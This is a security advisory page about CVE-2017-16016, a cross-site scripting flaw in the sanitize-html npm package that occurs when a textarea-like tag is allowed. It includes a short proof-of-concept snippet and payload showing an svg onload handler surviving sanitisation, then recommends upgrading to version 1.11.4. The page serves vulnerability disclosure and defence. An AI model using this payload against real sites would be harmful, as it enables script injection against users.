Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjNmctZ2dyYy1xcTRy

Cross-Site Scripting in sanitize-html

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Permalink: https://github.com/advisories/GHSA-xc6g-ggrc-qq4r
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXhjNmctZ2dyYy1xcTRy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 6 years ago
Updated: about 1 year ago

Identifiers: GHSA-xc6g-ggrc-qq4r, CVE-2017-16016
References:

• https://nvd.nist.gov/vuln/detail/CVE-2017-16016
• https://github.com/punkave/sanitize-html/issues/100
• https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403)))
• https://github.com/advisories/GHSA-xc6g-ggrc-qq4r
• https://npmjs.com/package/sanitize-html#discarding-the-entire-contents-of-a-disallowed-tag
• https://www.npmjs.com/advisories/154
• https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403

Repository: https://github.com/punkave/sanitize-html
Blast Radius: 0.0

Affected Packages